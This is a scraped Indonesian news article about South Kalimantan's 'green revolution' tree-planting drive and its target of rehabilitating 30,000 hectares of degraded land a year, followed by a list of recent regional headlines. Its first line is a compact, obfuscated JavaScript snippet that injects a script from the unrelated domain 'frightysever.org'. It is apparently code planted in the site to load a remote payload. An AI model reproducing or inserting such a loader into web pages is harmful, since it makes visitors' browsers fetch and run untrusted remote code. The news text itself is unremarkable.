(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemprov Kalsel

Revolusi Hijau di Kalsel, Target Rehabilitasi Lahan 30 Ribu Hektare per Tahun


KANALKALIMANTAN.COM, MARTAPURA – Dinas Kehutanan (Dishut) Provinsi Kalimantan Selatan (Kalsel) menggalakkan semangat revolusi hijau dengan menanam pohon bersama dalam rangkaian Hari Bakti Rimbawan ke-39, di Kabupaten Banjar, Kamis (31/3/2022).

Gubernur Kalsel, H Sahbirin Noor mengatakan, revolusi hijau telah mendapat dukungan dari berbagai pihak, seperti Kementerian Lingkungan Hidup dan Kehutanan (LHK) RI, TNI/Polri, instansi vertikal, organisasi sosial kemasyarakatan, dan ASN yang terus bergerak untuk menghijaukan Kalsel.

“Kita apresiasi untuk penanaman pohon bersama ini, sebagai upaya berkelanjutan dari gerakan revolusi hijau dan semangat gotong royong akan terus menjiwai tekad dalam percepatan rehabilitasi hutan dan lahan di Kalsel,” kata Sahbirin.

Perlu puluhan tahun untuk bisa merehabilitasi hutan dan lahan kritis yang rusak karena cakupan sangat luas.

 

Baca juga  : Portal Marketplace UMKMJuara.id Raih Digital Innovation Award 2022

“Kerusakan hutan dan lahan mencapai 511.594 hektare, dan rehabilitasi yang bisa tercapai melalui gerakan revolusi hijau hingga saat ini sekitar 108 ribu hektare. Kita menargetkan gerakan revolusi hijau bisa mencapai 30.000 hektare per tahunnya,” ujar Sahbirin.

Sahbirin mengajak semua pihak untuk bisa menyukseskan gerakan revolusi hijau, yang bermanfaat bagi lingkungan dan kehidupan umat manusia.

“Aksi penanaman pohon yang dilaksanakan ini tidak hanya mengejar target kuantitas, tetapi harus mampu menggerakkan dan merubah perilaku masyarakat untuk turut berperan serta dalam kegiatan penanaman dan pemeliharaan pohon,” tutur Sahbirin.

Sementara itu, Plt Kepala Dishut Kalsel, Fathimatuzzahra mengatakan, penanaman pohon dalam.rangka Hari Bakti Rimbawan dilakukan secara bertahap, terbagi menjadi 50 hektare pohon bambu, 2.000 jenis tanaman eucalyptus, ditambah tanaman jenis buah-buahan.

 

Baca juga  : Skuter Listrik Yamaha E01 Hadir di IIMS Hybrid 2022

“Kita akan terus bergerak untuk menyukseskan revolusi hijau dengan target 30.000 hektare per tahun. Sehingga, lahan kritis dalam 20 tahun dapat teratasi di Kalsel,” kata Fathimatuzzahra.

“Jadi, percepatan rehabilitasi hutan dan lahan ini dibantu oleh Kementerian LHK, para pemegang Izin Pinjam Pakai Kawasan Hutan (IPPKH), dan pemegang Izin Perizinan Berusaha Pemanfaatan di Kalsel,” tukas Fathimatuzzahra. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

Atraksi Ritual Laluhan Warnai Hari Jadi ke-218 Kota Kuala Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Atraksi budaya ritual Laluhan Suku Dayak Ngaju ditampilkan memeriahkan Hari Jadi… Read More

2 jam ago

Dear Pencari Kerja: Ratusan Lowongan Kerja Tersedia di Banjarbaru Job Fair 2024

KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More

5 jam ago

Kadis Pariwisata Tala dan Bendahara Disidang Kasus Korupsi Retribusi Asuransi Wisata

KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More

6 jam ago

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

9 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

10 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

11 jam ago

This website uses cookies.